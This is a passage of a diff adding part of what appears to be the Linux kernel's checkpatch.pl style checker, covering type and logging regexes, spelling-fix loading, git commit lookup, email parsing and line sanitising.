+	|  \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
+	|  \xF0[\x90-\xBF][\x80-\xBF]{2}     # planes 1-3
+	| [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
+	|  \xF4[\x80-\x8F][\x80-\xBF]{2}     # plane 16
+}x;
+
+our $UTF8	= qr{
+	[\x09\x0A\x0D\x20-\x7E]              # ASCII
+	| $NON_ASCII_UTF8
+}x;
+
+our $typeC99Typedefs = qr{(?:__)?(?:[us]_?)?int_?(?:8|16|32|64)_t};
+our $typeOtherOSTypedefs = qr{(?x:
+	u_(?:char|short|int|long) |          # bsd
+	u(?:nchar|short|int|long)            # sysv
+)};
+our $typeKernelTypedefs = qr{(?x:
+	(?:__)?(?:u|s|be|le)(?:8|16|32|64)|
+	atomic_t
+)};
+our $typeTypedefs = qr{(?x:
+	$typeC99Typedefs\b|
+	$typeOtherOSTypedefs\b|
+	$typeKernelTypedefs\b
+)};
+
+our $zero_initializer = qr{(?:(?:0[xX])?0+$Int_type?|NULL|false)\b};
+
+our $logFunctions = qr{(?x:
+	printk(?:_ratelimited|_once|_deferred_once|_deferred|)|
+	(?:[a-z0-9]+_){1,2}(?:printk|emerg|alert|crit|err|warning|warn|notice|info|debug|dbg|vdbg|devel|cont|WARN)(?:_ratelimited|_once|)|
+	TP_printk|
+	WARN(?:_RATELIMIT|_ONCE|)|
+	panic|
+	MODULE_[A-Z_]+|
+	seq_vprintf|seq_printf|seq_puts
+)};
+
+our $allocFunctions = qr{(?x:
+	(?:(?:devm_)?
+		(?:kv|k|v)[czm]alloc(?:_array)?(?:_node)? |
+		kstrdup(?:_const)? |
+		kmemdup(?:_nul)?) |
+	(?:\w+)?alloc_skb(?:_ip_align)? |
+				# dev_alloc_skb/netdev_alloc_skb, et al
+	dma_alloc_coherent
+)};
+
+our $signature_tags = qr{(?xi:
+	Signed-off-by:|
+	Co-developed-by:|
+	Acked-by:|
+	Tested-by:|
+	Reviewed-by:|
+	Reported-by:|
+	Suggested-by:|
+	To:|
+	Cc:
+)};
+
+our $tracing_logging_tags = qr{(?xi:
+	[=-]*> |
+	<[=-]* |
+	\[ |
+	\] |
+	start |
+	called |
+	entered |
+	entry |
+	enter |
+	in |
+	inside |
+	here |
+	begin |
+	exit |
+	end |
+	done |
+	leave |
+	completed |
+	out |
+	return |
+	[\.\!:\s]*
+)};
+
+sub edit_distance_min {
+	my (@arr) = @_;
+	my $len = scalar @arr;
+	if ((scalar @arr) < 1) {
+		# if underflow, return
+		return;
+	}
+	my $min = $arr[0];
+	for my $i (0 .. ($len-1)) {
+		if ($arr[$i] < $min) {
+			$min = $arr[$i];
+		}
+	}
+	return $min;
+}
+
+sub get_edit_distance {
+	my ($str1, $str2) = @_;
+	$str1 = lc($str1);
+	$str2 = lc($str2);
+	$str1 =~ s/-//g;
+	$str2 =~ s/-//g;
+	my $len1 = length($str1);
+	my $len2 = length($str2);
+	# two dimensional array storing minimum edit distance
+	my @distance;
+	for my $i (0 .. $len1) {
+		for my $j (0 .. $len2) {
+			if ($i == 0) {
+				$distance[$i][$j] = $j;
+			} elsif ($j == 0) {
+				$distance[$i][$j] = $i;
+			} elsif (substr($str1, $i-1, 1) eq substr($str2, $j-1, 1)) {
+				$distance[$i][$j] = $distance[$i - 1][$j - 1];
+			} else {
+				my $dist1 = $distance[$i][$j - 1]; #insert distance
+				my $dist2 = $distance[$i - 1][$j]; # remove
+				my $dist3 = $distance[$i - 1][$j - 1]; #replace
+				$distance[$i][$j] = 1 + edit_distance_min($dist1, $dist2, $dist3);
+			}
+		}
+	}
+	return $distance[$len1][$len2];
+}
+
+sub find_standard_signature {
+	my ($sign_off) = @_;
+	my @standard_signature_tags = (
+		'Signed-off-by:', 'Co-developed-by:', 'Acked-by:', 'Tested-by:',
+		'Reviewed-by:', 'Reported-by:', 'Suggested-by:'
+	);
+	foreach my $signature (@standard_signature_tags) {
+		return $signature if (get_edit_distance($sign_off, $signature) <= 2);
+	}
+
+	return "";
+}
+
+our @typeListMisordered = (
+	qr{char\s+(?:un)?signed},
+	qr{int\s+(?:(?:un)?signed\s+)?short\s},
+	qr{int\s+short(?:\s+(?:un)?signed)},
+	qr{short\s+int(?:\s+(?:un)?signed)},
+	qr{(?:un)?signed\s+int\s+short},
+	qr{short\s+(?:un)?signed},
+	qr{long\s+int\s+(?:un)?signed},
+	qr{int\s+long\s+(?:un)?signed},
+	qr{long\s+(?:un)?signed\s+int},
+	qr{int\s+(?:un)?signed\s+long},
+	qr{int\s+(?:un)?signed},
+	qr{int\s+long\s+long\s+(?:un)?signed},
+	qr{long\s+long\s+int\s+(?:un)?signed},
+	qr{long\s+long\s+(?:un)?signed\s+int},
+	qr{long\s+long\s+(?:un)?signed},
+	qr{long\s+(?:un)?signed},
+);
+
+our @typeList = (
+	qr{void},
+	qr{(?:(?:un)?signed\s+)?char},
+	qr{(?:(?:un)?signed\s+)?short\s+int},
+	qr{(?:(?:un)?signed\s+)?short},
+	qr{(?:(?:un)?signed\s+)?int},
+	qr{(?:(?:un)?signed\s+)?long\s+int},
+	qr{(?:(?:un)?signed\s+)?long\s+long\s+int},
+	qr{(?:(?:un)?signed\s+)?long\s+long},
+	qr{(?:(?:un)?signed\s+)?long},
+	qr{(?:un)?signed},
+	qr{float},
+	qr{double},
+	qr{bool},
+	qr{struct\s+$Ident},
+	qr{union\s+$Ident},
+	qr{enum\s+$Ident},
+	qr{${Ident}_t},
+	qr{${Ident}_handler},
+	qr{${Ident}_handler_fn},
+	@typeListMisordered,
+);
+
+our $C90_int_types = qr{(?x:
+	long\s+long\s+int\s+(?:un)?signed|
+	long\s+long\s+(?:un)?signed\s+int|
+	long\s+long\s+(?:un)?signed|
+	(?:(?:un)?signed\s+)?long\s+long\s+int|
+	(?:(?:un)?signed\s+)?long\s+long|
+	int\s+long\s+long\s+(?:un)?signed|
+	int\s+(?:(?:un)?signed\s+)?long\s+long|
+
+	long\s+int\s+(?:un)?signed|
+	long\s+(?:un)?signed\s+int|
+	long\s+(?:un)?signed|
+	(?:(?:un)?signed\s+)?long\s+int|
+	(?:(?:un)?signed\s+)?long|
+	int\s+long\s+(?:un)?signed|
+	int\s+(?:(?:un)?signed\s+)?long|
+
+	int\s+(?:un)?signed|
+	(?:(?:un)?signed\s+)?int
+)};
+
+our @typeListFile = ();
+our @typeListWithAttr = (
+	@typeList,
+	qr{struct\s+$InitAttribute\s+$Ident},
+	qr{union\s+$InitAttribute\s+$Ident},
+);
+
+our @modifierList = (
+	qr{fastcall},
+);
+our @modifierListFile = ();
+
+our @mode_permission_funcs = (
+	["module_param", 3],
+	["module_param_(?:array|named|string)", 4],
+	["module_param_array_named", 5],
+	["debugfs_create_(?:file|u8|u16|u32|u64|x8|x16|x32|x64|size_t|atomic_t|bool|blob|regset32|u32_array)", 2],
+	["proc_create(?:_data|)", 2],
+	["(?:CLASS|DEVICE|SENSOR|SENSOR_DEVICE|IIO_DEVICE)_ATTR", 2],
+	["IIO_DEV_ATTR_[A-Z_]+", 1],
+	["SENSOR_(?:DEVICE_|)ATTR_2", 2],
+	["SENSOR_TEMPLATE(?:_2|)", 3],
+	["__ATTR", 2],
+);
+
+my $word_pattern = '\b[A-Z]?[a-z]{2,}\b';
+
+#Create a search pattern for all these functions to speed up a loop below
+our $mode_perms_search = "";
+foreach my $entry (@mode_permission_funcs) {
+	$mode_perms_search .= '|' if ($mode_perms_search ne "");
+	$mode_perms_search .= $entry->[0];
+}
+$mode_perms_search = "(?:${mode_perms_search})";
+
+our %deprecated_apis = (
+	"synchronize_rcu_bh"			=> "synchronize_rcu",
+	"synchronize_rcu_bh_expedited"		=> "synchronize_rcu_expedited",
+	"call_rcu_bh"				=> "call_rcu",
+	"rcu_barrier_bh"			=> "rcu_barrier",
+	"synchronize_sched"			=> "synchronize_rcu",
+	"synchronize_sched_expedited"		=> "synchronize_rcu_expedited",
+	"call_rcu_sched"			=> "call_rcu",
+	"rcu_barrier_sched"			=> "rcu_barrier",
+	"get_state_synchronize_sched"		=> "get_state_synchronize_rcu",
+	"cond_synchronize_sched"		=> "cond_synchronize_rcu",
+);
+
+#Create a search pattern for all these strings to speed up a loop below
+our $deprecated_apis_search = "";
+foreach my $entry (keys %deprecated_apis) {
+	$deprecated_apis_search .= '|' if ($deprecated_apis_search ne "");
+	$deprecated_apis_search .= $entry;
+}
+$deprecated_apis_search = "(?:${deprecated_apis_search})";
+
+our $mode_perms_world_writable = qr{
+	S_IWUGO		|
+	S_IWOTH		|
+	S_IRWXUGO	|
+	S_IALLUGO	|
+	0[0-7][0-7][2367]
+}x;
+
+our %mode_permission_string_types = (
+	"S_IRWXU" => 0700,
+	"S_IRUSR" => 0400,
+	"S_IWUSR" => 0200,
+	"S_IXUSR" => 0100,
+	"S_IRWXG" => 0070,
+	"S_IRGRP" => 0040,
+	"S_IWGRP" => 0020,
+	"S_IXGRP" => 0010,
+	"S_IRWXO" => 0007,
+	"S_IROTH" => 0004,
+	"S_IWOTH" => 0002,
+	"S_IXOTH" => 0001,
+	"S_IRWXUGO" => 0777,
+	"S_IRUGO" => 0444,
+	"S_IWUGO" => 0222,
+	"S_IXUGO" => 0111,
+);
+
+#Create a search pattern for all these strings to speed up a loop below
+our $mode_perms_string_search = "";
+foreach my $entry (keys %mode_permission_string_types) {
+	$mode_perms_string_search .= '|' if ($mode_perms_string_search ne "");
+	$mode_perms_string_search .= $entry;
+}
+our $single_mode_perms_string_search = "(?:${mode_perms_string_search})";
+our $multi_mode_perms_string_search = qr{
+	${single_mode_perms_string_search}
+	(?:\s*\|\s*${single_mode_perms_string_search})*
+}x;
+
+sub perms_to_octal {
+	my ($string) = @_;
+
+	return trim($string) if ($string =~ /^\s*0[0-7]{3,3}\s*$/);
+
+	my $val = "";
+	my $oval = "";
+	my $to = 0;
+	my $curpos = 0;
+	my $lastpos = 0;
+	while ($string =~ /\b(($single_mode_perms_string_search)\b(?:\s*\|\s*)?\s*)/g) {
+		$curpos = pos($string);
+		my $match = $2;
+		my $omatch = $1;
+		last if ($lastpos > 0 && ($curpos - length($omatch) != $lastpos));
+		$lastpos = $curpos;
+		$to |= $mode_permission_string_types{$match};
+		$val .= '\s*\|\s*' if ($val ne "");
+		$val .= $match;
+		$oval .= $omatch;
+	}
+	$oval =~ s/^\s*\|\s*//;
+	$oval =~ s/\s*\|\s*$//;
+	return sprintf("%04o", $to);
+}
+
+our $allowed_asm_includes = qr{(?x:
+	irq|
+	memory|
+	time|
+	reboot
+)};
+# memory.h: ARM has a custom one
+
+# Load common spelling mistakes and build regular expression list.
+my $misspellings;
+my %spelling_fix;
+
+if (open(my $spelling, '<', $spelling_file)) {
+	while (<$spelling>) {
+		my $line = $_;
+
+		$line =~ s/\s*\n?$//g;
+		$line =~ s/^\s*//g;
+
+		next if ($line =~ m/^\s*#/);
+		next if ($line =~ m/^\s*$/);
+
+		my ($suspect, $fix) = split(/\|\|/, $line);
+
+		$spelling_fix{$suspect} = $fix;
+	}
+	close($spelling);
+} else {
+	warn "No typos will be found - file '$spelling_file': $!\n";
+}
+
+if ($codespell) {
+	if (open(my $spelling, '<', $codespellfile)) {
+		while (<$spelling>) {
+			my $line = $_;
+
+			$line =~ s/\s*\n?$//g;
+			$line =~ s/^\s*//g;
+
+			next if ($line =~ m/^\s*#/);
+			next if ($line =~ m/^\s*$/);
+			next if ($line =~ m/, disabled/i);
+
+			$line =~ s/,.*$//;
+
+			my ($suspect, $fix) = split(/->/, $line);
+
+			$spelling_fix{$suspect} = $fix;
+		}
+		close($spelling);
+	} else {
+		warn "No codespell typos will be found - file '$codespellfile': $!\n";
+	}
+}
+
+$misspellings = join("|", sort keys %spelling_fix) if keys %spelling_fix;
+
+sub read_words {
+	my ($wordsRef, $file) = @_;
+
+	if (open(my $words, '<', $file)) {
+		while (<$words>) {
+			my $line = $_;
+
+			$line =~ s/\s*\n?$//g;
+			$line =~ s/^\s*//g;
+
+			next if ($line =~ m/^\s*#/);
+			next if ($line =~ m/^\s*$/);
+			if ($line =~ /\s/) {
+				print("$file: '$line' invalid - ignored\n");
+				next;
+			}
+
+			$$wordsRef .= '|' if (defined $$wordsRef);
+			$$wordsRef .= $line;
+		}
+		close($file);
+		return 1;
+	}
+
+	return 0;
+}
+
+my $const_structs;
+if (show_type("CONST_STRUCT")) {
+	read_words(\$const_structs, $conststructsfile)
+	    or warn "No structs that should be const will be found - file '$conststructsfile': $!\n";
+}
+
+if (defined($typedefsfile)) {
+	my $typeOtherTypedefs;
+	read_words(\$typeOtherTypedefs, $typedefsfile)
+	    or warn "No additional types will be considered - file '$typedefsfile': $!\n";
+	$typeTypedefs .= '|' . $typeOtherTypedefs if (defined $typeOtherTypedefs);
+}
+
+sub build_types {
+	my $mods = "(?x:  \n" . join("|\n  ", (@modifierList, @modifierListFile)) . "\n)";
+	my $all = "(?x:  \n" . join("|\n  ", (@typeList, @typeListFile)) . "\n)";
+	my $Misordered = "(?x:  \n" . join("|\n  ", @typeListMisordered) . "\n)";
+	my $allWithAttr = "(?x:  \n" . join("|\n  ", @typeListWithAttr) . "\n)";
+	$Modifier	= qr{(?:$Attribute|$Sparse|$mods)};
+	$BasicType	= qr{
+				(?:$typeTypedefs\b)|
+				(?:${all}\b)
+		}x;
+	$NonptrType	= qr{
+			(?:$Modifier\s+|const\s+)*
+			(?:
+				(?:typeof|__typeof__)\s*\([^\)]*\)|
+				(?:$typeTypedefs\b)|
+				(?:${all}\b)
+			)
+			(?:\s+$Modifier|\s+const)*
+		  }x;
+	$NonptrTypeMisordered	= qr{
+			(?:$Modifier\s+|const\s+)*
+			(?:
+				(?:${Misordered}\b)
+			)
+			(?:\s+$Modifier|\s+const)*
+		  }x;
+	$NonptrTypeWithAttr	= qr{
+			(?:$Modifier\s+|const\s+)*
+			(?:
+				(?:typeof|__typeof__)\s*\([^\)]*\)|
+				(?:$typeTypedefs\b)|
+				(?:${allWithAttr}\b)
+			)
+			(?:\s+$Modifier|\s+const)*
+		  }x;
+	$Type	= qr{
+			$NonptrType
+			(?:(?:\s|\*|\[\])+\s*const|(?:\s|\*\s*(?:const\s*)?|\[\])+|(?:\s*\[\s*\])+){0,4}
+			(?:\s+$Inline|\s+$Modifier)*
+		  }x;
+	$TypeMisordered	= qr{
+			$NonptrTypeMisordered
+			(?:(?:\s|\*|\[\])+\s*const|(?:\s|\*\s*(?:const\s*)?|\[\])+|(?:\s*\[\s*\])+){0,4}
+			(?:\s+$Inline|\s+$Modifier)*
+		  }x;
+	$Declare	= qr{(?:$Storage\s+(?:$Inline\s+)?)?$Type};
+	$DeclareMisordered	= qr{(?:$Storage\s+(?:$Inline\s+)?)?$TypeMisordered};
+}
+build_types();
+
+our $Typecast	= qr{\s*(\(\s*$NonptrType\s*\)){0,1}\s*};
+
+# Using $balanced_parens, $LvalOrFunc, or $FuncArg
+# requires at least perl version v5.10.0
+# Any use must be runtime checked with $^V
+
+our $balanced_parens = qr/(\((?:[^\(\)]++|(?-1))*\))/;
+our $LvalOrFunc	= qr{((?:[\&\*]\s*)?$Lval)\s*($balanced_parens{0,1})\s*};
+our $FuncArg = qr{$Typecast{0,1}($LvalOrFunc|$Constant|$String)};
+
+our $declaration_macros = qr{(?x:
+	(?:$Storage\s+)?(?:[A-Z_][A-Z0-9]*_){0,2}(?:DEFINE|DECLARE)(?:_[A-Z0-9]+){1,6}\s*\(|
+	(?:$Storage\s+)?[HLP]?LIST_HEAD\s*\(|
+	(?:SKCIPHER_REQUEST|SHASH_DESC|AHASH_REQUEST)_ON_STACK\s*\(
+)};
+
+our %allow_repeated_words = (
+	add => '',
+	added => '',
+	bad => '',
+	be => '',
+);
+
+sub deparenthesize {
+	my ($string) = @_;
+	return "" if (!defined($string));
+
+	while ($string =~ /^\s*\(.*\)\s*$/) {
+		$string =~ s@^\s*\(\s*@@;
+		$string =~ s@\s*\)\s*$@@;
+	}
+
+	$string =~ s@\s+@ @g;
+
+	return $string;
+}
+
+sub seed_camelcase_file {
+	my ($file) = @_;
+
+	return if (!(-f $file));
+
+	local $/;
+
+	open(my $include_file, '<', "$file")
+	    or warn "$P: Can't read '$file' $!\n";
+	my $text = <$include_file>;
+	close($include_file);
+
+	my @lines = split('\n', $text);
+
+	foreach my $line (@lines) {
+		next if ($line !~ /(?:[A-Z][a-z]|[a-z][A-Z])/);
+		if ($line =~ /^[ \t]*(?:#[ \t]*define|typedef\s+$Type)\s+(\w*(?:[A-Z][a-z]|[a-z][A-Z])\w*)/) {
+			$camelcase{$1} = 1;
+		} elsif ($line =~ /^\s*$Declare\s+(\w*(?:[A-Z][a-z]|[a-z][A-Z])\w*)\s*[\(\[,;]/) {
+			$camelcase{$1} = 1;
+		} elsif ($line =~ /^\s*(?:union|struct|enum)\s+(\w*(?:[A-Z][a-z]|[a-z][A-Z])\w*)\s*[;\{]/) {
+			$camelcase{$1} = 1;
+		}
+	}
+}
+
+our %maintained_status = ();
+
+sub is_maintained_obsolete {
+	my ($filename) = @_;
+
+	return 0 if (!$tree || !(-e "$root/scripts/get_maintainer.pl"));
+
+	if (!exists($maintained_status{$filename})) {
+		$maintained_status{$filename} = `perl $root/scripts/get_maintainer.pl --status --nom --nol --nogit --nogit-fallback -f $filename 2>&1`;
+	}
+
+	return $maintained_status{$filename} =~ /obsolete/i;
+}
+
+sub is_SPDX_License_valid {
+	my ($license) = @_;
+
+	return 1 if (!$tree || which("python3") eq "" || !(-x "$root/scripts/spdxcheck.py") || !(-e "$gitroot"));
+
+	my $root_path = abs_path($root);
+	my $status = `cd "$root_path"; echo "$license" | scripts/spdxcheck.py -`;
+	return 0 if ($status ne "");
+	return 1;
+}
+
+my $camelcase_seeded = 0;
+sub seed_camelcase_includes {
+	return if ($camelcase_seeded);
+
+	my $files;
+	my $camelcase_cache = "";
+	my @include_files = ();
+
+	$camelcase_seeded = 1;
+
+	if (-e "$gitroot") {
+		my $git_last_include_commit = `${git_command} log --no-merges --pretty=format:"%h%n" -1 -- include`;
+		chomp $git_last_include_commit;
+		$camelcase_cache = ".checkpatch-camelcase.git.$git_last_include_commit";
+	} else {
+		my $last_mod_date = 0;
+		$files = `find $root/include -name "*.h"`;
+		@include_files = split('\n', $files);
+		foreach my $file (@include_files) {
+			my $date = POSIX::strftime("%Y%m%d%H%M",
+						   localtime((stat $file)[9]));
+			$last_mod_date = $date if ($last_mod_date < $date);
+		}
+		$camelcase_cache = ".checkpatch-camelcase.date.$last_mod_date";
+	}
+
+	if ($camelcase_cache ne "" && -f $camelcase_cache) {
+		open(my $camelcase_file, '<', "$camelcase_cache")
+		    or warn "$P: Can't read '$camelcase_cache' $!\n";
+		while (<$camelcase_file>) {
+			chomp;
+			$camelcase{$_} = 1;
+		}
+		close($camelcase_file);
+
+		return;
+	}
+
+	if (-e "$gitroot") {
+		$files = `${git_command} ls-files "include/*.h"`;
+		@include_files = split('\n', $files);
+	}
+
+	foreach my $file (@include_files) {
+		seed_camelcase_file($file);
+	}
+
+	if ($camelcase_cache ne "") {
+		unlink glob ".checkpatch-camelcase.*";
+		open(my $camelcase_file, '>', "$camelcase_cache")
+		    or warn "$P: Can't write '$camelcase_cache' $!\n";
+		foreach (sort { lc($a) cmp lc($b) } keys(%camelcase)) {
+			print $camelcase_file ("$_\n");
+		}
+		close($camelcase_file);
+	}
+}
+
+sub git_is_single_file {
+	my ($filename) = @_;
+
+	return 0 if ((which("git") eq "") || !(-e "$gitroot"));
+
+	my $output = `${git_command} ls-files -- $filename 2>/dev/null`;
+	my $count = $output =~ tr/\n//;
+	return $count eq 1 && $output =~ m{^${filename}$};
+}
+
+sub git_commit_info {
+	my ($commit, $id, $desc) = @_;
+
+	return ($id, $desc) if ((which("git") eq "") || !(-e "$gitroot"));
+
+	my $output = `${git_command} log --no-color --format='%H %s' -1 $commit 2>&1`;
+	$output =~ s/^\s*//gm;
+	my @lines = split("\n", $output);
+
+	return ($id, $desc) if ($#lines < 0);
+
+	if ($lines[0] =~ /^error: short SHA1 $commit is ambiguous/) {
+# Maybe one day convert this block of bash into something that returns
+# all matching commit ids, but it's very slow...
+#
+#		echo "checking commits $1..."
+#		git rev-list --remotes | grep -i "^$1" |
+#		while read line ; do
+#		    git log --format='%H %s' -1 $line |
+#		    echo "commit $(cut -c 1-12,41-)"
+#		done
+	} elsif ($lines[0] =~ /^fatal: ambiguous argument '$commit': unknown revision or path not in the working tree\./ ||
+		 $lines[0] =~ /^fatal: bad object $commit/) {
+		$id = undef;
+	} else {
+		$id = substr($lines[0], 0, 12);
+		$desc = substr($lines[0], 41);
+	}
+
+	return ($id, $desc);
+}
+
+$chk_signoff = 0 if ($file);
+
+my @rawlines = ();
+my @lines = ();
+my @fixed = ();
+my @fixed_inserted = ();
+my @fixed_deleted = ();
+my $fixlinenr = -1;
+
+# If input is git commits, extract all commits from the commit expressions.
+# For example, HEAD-3 means we need check 'HEAD, HEAD~1, HEAD~2'.
+die "$P: No git repository found\n" if ($git && !-e "$gitroot");
+
+if ($git) {
+	my @commits = ();
+	foreach my $commit_expr (@ARGV) {
+		my $git_range;
+		if ($commit_expr =~ m/^(.*)-(\d+)$/) {
+			$git_range = "-$2 $1";
+		} elsif ($commit_expr =~ m/\.\./) {
+			$git_range = "$commit_expr";
+		} else {
+			$git_range = "-1 $commit_expr";
+		}
+		my $lines = `${git_command} log --no-color --no-merges --pretty=format:'%H %s' $git_range`;
+		foreach my $line (split(/\n/, $lines)) {
+			$line =~ /^([0-9a-fA-F]{40,40}) (.*)$/;
+			next if (!defined($1) || !defined($2));
+			my $sha1 = $1;
+			my $subject = $2;
+			unshift(@commits, $sha1);
+			$git_commits{$sha1} = $subject;
+		}
+	}
+	die "$P: no git commits after extraction!\n" if (@commits == 0);
+	@ARGV = @commits;
+}
+
+my $vname;
+$allow_c99_comments = !defined $ignore_type{"C99_COMMENT_TOLERANCE"};
+for my $filename (@ARGV) {
+	my $FILE;
+	my $is_git_file = git_is_single_file($filename);
+	my $oldfile = $file;
+	$file = 1 if ($is_git_file);
+	if ($git) {
+		open($FILE, '-|', "git format-patch -M --stdout -1 $filename") ||
+			die "$P: $filename: git format-patch failed - $!\n";
+	} elsif ($file) {
+		open($FILE, '-|', "diff -u /dev/null $filename") ||
+			die "$P: $filename: diff failed - $!\n";
+	} elsif ($filename eq '-') {
+		open($FILE, '<&STDIN');
+	} else {
+		open($FILE, '<', "$filename") ||
+			die "$P: $filename: open failed - $!\n";
+	}
+	if ($filename eq '-') {
+		$vname = 'Your patch';
+	} elsif ($git) {
+		$vname = "Commit " . substr($filename, 0, 12) . ' ("' . $git_commits{$filename} . '")';
+	} else {
+		$vname = $filename;
+	}
+	while (<$FILE>) {
+		chomp;
+		push(@rawlines, $_);
+		$vname = qq("$1") if ($filename eq '-' && $_ =~ m/^Subject:\s+(.+)/i);
+	}
+	close($FILE);
+
+	if ($#ARGV > 0 && $quiet == 0) {
+		print '-' x length($vname) . "\n";
+		print "$vname\n";
+		print '-' x length($vname) . "\n";
+	}
+
+	if (!process($filename)) {
+		$exit = 1;
+	}
+	@rawlines = ();
+	@lines = ();
+	@fixed = ();
+	@fixed_inserted = ();
+	@fixed_deleted = ();
+	$fixlinenr = -1;
+	@modifierListFile = ();
+	@typeListFile = ();
+	build_types();
+	$file = $oldfile if ($is_git_file);
+}
+
+if (!$quiet) {
+	hash_show_words(\%use_type, "Used");
+	hash_show_words(\%ignore_type, "Ignored");
+
+	if (!$perl_version_ok) {
+		print << "EOM"
+
+NOTE: perl $^V is not modern enough to detect all possible issues.
+      An upgrade to at least perl $minimum_perl_version is suggested.
+EOM
+	}
+	if ($exit) {
+		print << "EOM"
+
+NOTE: If any of the errors are false positives, please report
+      them to the maintainer, see CHECKPATCH in MAINTAINERS.
+EOM
+	}
+}
+
+exit($exit);
+
+sub top_of_kernel_tree {
+	my ($root) = @_;
+
+	my @tree_check = (
+		"COPYING", "CREDITS", "Kbuild", "MAINTAINERS", "Makefile",
+		"README", "Documentation", "arch", "include", "drivers",
+		"fs", "init", "ipc", "kernel", "lib", "scripts",
+	);
+
+	foreach my $check (@tree_check) {
+		if (! -e $root . '/' . $check) {
+			return 0;
+		}
+	}
+	return 1;
+}
+
+sub parse_email {
+	my ($formatted_email) = @_;
+
+	my $name = "";
+	my $quoted = "";
+	my $name_comment = "";
+	my $address = "";
+	my $comment = "";
+
+	if ($formatted_email =~ /^(.*)<(\S+\@\S+)>(.*)$/) {
+		$name = $1;
+		$address = $2;
+		$comment = $3 if defined $3;
+	} elsif ($formatted_email =~ /^\s*<(\S+\@\S+)>(.*)$/) {
+		$address = $1;
+		$comment = $2 if defined $2;
+	} elsif ($formatted_email =~ /(\S+\@\S+)(.*)$/) {
+		$address = $1;
+		$comment = $2 if defined $2;
+		$formatted_email =~ s/\Q$address\E.*$//;
+		$name = $formatted_email;
+		$name = trim($name);
+		$name =~ s/^\"|\"$//g;
+		# If there's a name left after stripping spaces and
+		# leading quotes, and the address doesn't have both
+		# leading and trailing angle brackets, the address
+		# is invalid. ie:
+		#   "joe smith joe@smith.com" bad
+		#   "joe smith <joe@smith.com" bad
+		if ($name ne "" && $address !~ /^<[^>]+>$/) {
+			$name = "";
+			$address = "";
+			$comment = "";
+		}
+	}
+
+	# Extract comments from names excluding quoted parts
+	# "John D. (Doe)" - Do not extract
+	if ($name =~ s/\"(.+)\"//) {
+		$quoted = $1;
+	}
+	while ($name =~ s/\s*($balanced_parens)\s*/ /) {
+		$name_comment .= trim($1);
+	}
+	$name =~ s/^[ \"]+|[ \"]+$//g;
+	$name = trim("$quoted $name");
+
+	$address = trim($address);
+	$address =~ s/^\<|\>$//g;
+	$comment = trim($comment);
+
+	if ($name =~ /[^\w \-]/i) { ##has "must quote" chars
+		$name =~ s/(?<!\\)"/\\"/g; ##escape quotes
+		$name = "\"$name\"";
+	}
+
+	return ($name, $name_comment, $address, $comment);
+}
+
+sub format_email {
+	my ($name, $name_comment, $address, $comment) = @_;
+
+	my $formatted_email;
+
+	$name =~ s/^[ \"]+|[ \"]+$//g;
+	$address = trim($address);
+	$address =~ s/(?:\.|\,|\")+$//; ##trailing commas, dots or quotes
+
+	if ($name =~ /[^\w \-]/i) { ##has "must quote" chars
+		$name =~ s/(?<!\\)"/\\"/g; ##escape quotes
+		$name = "\"$name\"";
+	}
+
+	$name_comment = trim($name_comment);
+	$name_comment = " $name_comment" if ($name_comment ne "");
+	$comment = trim($comment);
+	$comment = " $comment" if ($comment ne "");
+
+	if ("$name" eq "") {
+		$formatted_email = "$address";
+	} else {
+		$formatted_email = "$name$name_comment <$address>";
+	}
+	$formatted_email .= "$comment";
+	return $formatted_email;
+}
+
+sub reformat_email {
+	my ($email) = @_;
+
+	my ($email_name, $name_comment, $email_address, $comment) = parse_email($email);
+	return format_email($email_name, $name_comment, $email_address, $comment);
+}
+
+sub same_email_addresses {
+	my ($email1, $email2) = @_;
+
+	my ($email1_name, $name1_comment, $email1_address, $comment1) = parse_email($email1);
+	my ($email2_name, $name2_comment, $email2_address, $comment2) = parse_email($email2);
+
+	return $email1_name eq $email2_name &&
+	       $email1_address eq $email2_address &&
+	       $name1_comment eq $name2_comment &&
+	       $comment1 eq $comment2;
+}
+
+sub which {
+	my ($bin) = @_;
+
+	foreach my $path (split(/:/, $ENV{PATH})) {
+		if (-e "$path/$bin") {
+			return "$path/$bin";
+		}
+	}
+
+	return "";
+}
+
+sub which_conf {
+	my ($conf) = @_;
+
+	foreach my $path (split(/:/, ".:$ENV{HOME}:.scripts")) {
+		if (-e "$path/$conf") {
+			return "$path/$conf";
+		}
+	}
+
+	return "";
+}
+
+sub expand_tabs {
+	my ($str) = @_;
+
+	my $res = '';
+	my $n = 0;
+	for my $c (split(//, $str)) {
+		if ($c eq "\t") {
+			$res .= ' ';
+			$n++;
+			for (; ($n % $tabsize) != 0; $n++) {
+				$res .= ' ';
+			}
+			next;
+		}
+		$res .= $c;
+		$n++;
+	}
+
+	return $res;
+}
+sub copy_spacing {
+	(my $res = shift) =~ tr/\t/ /c;
+	return $res;
+}
+
+sub line_stats {
+	my ($line) = @_;
+
+	# Drop the diff line leader and expand tabs
+	$line =~ s/^.//;
+	$line = expand_tabs($line);
+
+	# Pick the indent from the front of the line.
+	my ($white) = ($line =~ /^(\s*)/);
+
+	return (length($line), length($white));
+}
+
+my $sanitise_quote = '';
+
+sub sanitise_line_reset {
+	my ($in_comment) = @_;
+
+	if ($in_comment) {
+		$sanitise_quote = '*/';
+	} else {
+		$sanitise_quote = '';
+	}
+}
+sub sanitise_line {
+	my ($line) = @_;
+
+	my $res = '';
+	my $l = '';
+
+	my $qlen = 0;
+	my $off = 0;
+	my $c;
+
+	# Always copy over the diff marker.
+	$res = substr($line, 0, 1);
+
+	for ($off = 1; $off < length($line); $off++) {
+		$c = substr($line, $off, 1);
+
+		# Comments we are whacking completely including the begin
+		# and end, all to $;.
+		if ($sanitise_quote eq '' && substr($line, $off, 2) eq '/*') {
+			$sanitise_quote = '*/';
+
+			substr($res, $off, 2, "$;$;");
+			$off++;
+			next;
+		}
+		if ($sanitise_quote eq '*/' && substr($line, $off, 2) eq '*/') {
+			$sanitise_quote = '';
+			substr($res, $off, 2, "$;$;");
+			$off++;
+			next;
+		}
+		if ($sanitise_quote eq '' && substr($line, $off, 2) eq '//') {
+			$sanitise_quote = '//';
+
+			substr($res, $off, 2, $sanitise_quote);
+			$off++;
+			next;
+		}
+
+		# A \ in a string means ignore the next character.
+		if (($sanitise_quote eq "'" || $sanitise_quote eq '"') &&
+		    $c eq "\\") {
+			substr($res, $off, 2, 'XX');
+			$off++;
+			next;
+		}
+		# Regular quotes.
+		if ($c eq "'" || $c eq '"') {
+			if ($sanitise_quote eq '') {
+				$sanitise_quote = $c;
+
